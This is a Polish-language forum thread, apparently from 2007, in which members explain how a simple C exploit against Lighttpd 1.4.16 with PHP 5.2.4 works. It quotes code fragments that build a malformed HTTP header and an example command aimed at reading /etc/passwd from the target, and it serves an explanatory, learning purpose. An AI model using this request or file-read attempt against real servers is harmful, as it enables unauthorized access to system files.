# post usunięty #
# post usunięty #
Ostatnio edytowane przez gogulas : 11-25-2007 - 00:39
było już o tym, wystarczy poszukać.
"dobrzy hakerzy są sławni na cały świat, ale o hakerach geniuszach nikt nic nie wie."
Jesli jeszcze nie zauwazyles, nikt tutaj nie podaje rozwiazan na srebrnej tacy. Mozesz dostac podpowiedz ale nie gotowe rozwiazanie od poczatku do konca. Po prostu script-kiddies na tym forum ksztalcic nikt nie chce.
Chcesz sie uczyc? Przeanalizuj co exploit robi, wtedy bedziesz wiedzial co sie w nim dzieje, zrozumiesz na czym polega blad w aplikacji... a po drodze dowiesz sie jak kod uruchomic.
Uruchomienie kodu bez zrozumienia co on robi da Ci tyle, co sterte bledow i bedziesz sie denerwowal, ze exploit nie dziala... a on dziala, tylko user nie wie jak go uzywac.
EDIT:
Aby nie bylo ze nie odpowiedzialem na pytanie: jak uzyc exploita zalezy od samego exploita - od tego co robi i w jakim jezyku jest napisany.
EIDT 2:
poprawilem 'literufki' :P
EDIT 3:
Dodam jeszcze, ze wiekszosc exploitow ma w naglowku krotkie info co do uzycia. Raz jest bardzo dokladne, raz bardzo niedokladne - zalezy od autora i jego zdania na temat script-kiddies, uzywajacych ich kodu bez jego zrozumienia. Wielu autorow celowo poda tylko namiastki informacji - jesli rozumiesz co sie dzieje, to bedziesz wiedzial jak uzyc exploita. Jesli nie masz pojecia, to zdecydowanie nie jest to zabawka dla Ciebie.
Podpisuje sie pod takim podejsciem rekoma i nogami!
Ostatnio edytowane przez TQM : 09-17-2007 - 13:42
ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)
# post usunięty #
Ostatnio edytowane przez gogulas : 11-25-2007 - 00:39
..................... ...
Ostatnio edytowane przez kaspsior : 04-17-2012 - 23:53
Jest to jeden z najprosciejszych exploitów jakie analizowałem;
A więc zaczyna się wykonywać funkcja main i;
sock = network(argv[1], atoi(argv[2])); // funkcja network zwraca deskryptor gniazda (tzw gniazdeczko) - a więc będziemy mogli się połaczyć z ofiarą.
Nastepnie b = p = malloc(0xffff + 0xffff);
czyli zalokowanie pamięci.
p += sprintf(p, "GET /index.php HTTP/1.1\r\n");
p += sprintf(p, "Host: %s\r\n", argv[1]);
p += sprintf(p, "A: A\r\nB: ");
Modyfikujemy nagłówek rządania HTTP - czyli to co normalnie wysyła przegladarka do serwera chcąc pobrać kod strony.
*p++ = 128;
*p++ = 0x00;
*p++ = 0x54;
*p++ = 0x42;
*p++ = '\r';
*p++ = '\n';
no modyfikujemy ten nagłówek - trzeba by sobie go złożyć i wyświetlic zeby zobaczyć jak wygląda.
write(sock, b, (p - b)); // wysyłamy do ofiary nagłówek który uprzednio zbudowaliśmy (znaczy się nie my a program i autor)
w windows było by send zamiast write
i = read(sock, b, 0xffff);
czekamy - serwerek coś nam odeśle - ciekawe co
printf("%s\n", b);
wyswietlay to co nam podesłał
zobaczmy example;
Example:
*
* # ./exploit localhost 80 /etc/passwd
Czyżby przysyłał zawartość pliku /etc/passwd
no no ciekawe. Ale to tylko moje domniemanie.
Trzeba sprawdzić dokładnie opis exploitu.
Ale warunkiem udania ataku jest uruchomione oprogramowanie na ofierze;
Tested with Lighttpd 1.4.16 and PHP 5.2.4
No a pozatym patrząc na /etc/passwd wiemy że to system z rodziny Linuxów.
Jak by coś niejasnego wyjaśnię wiecej.
@gogulas - no to juz dobry poczatek... Najbardziej przydatny jezyk w calej informatyce to angielski (tak tak... angielski, pozniej ktorys jezyk programowania), tak trzymaj i sam zobaczysz, ze kod stanie sie jasny... Ten akurat wysyla spreparowane naglowki i patrzy co serwer odpowie - mozna to napsiac w kazdym jezyku, mozna napisac nawet w bash'u
r_jaro udzielil juz tak wyczerpujacej odpowiedzi odnosnie jego dzialania, ze chyba nic wiecej nie potrzeba...
ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)
# post usunięty #
Ostatnio edytowane przez gogulas : 11-25-2007 - 00:40
To jest język C, a pisane to jest pod środowisko UNIX'owe, czyli w tym i pod Linuksa, ponieważ zawiera pliki nagłówkowe, które zawarte są w systemach UNIX'owych. Pod Windowsa tak dużo exploitów nie znajdziesz, bo jakby to ująć: Windows nie jest hackers-friendly.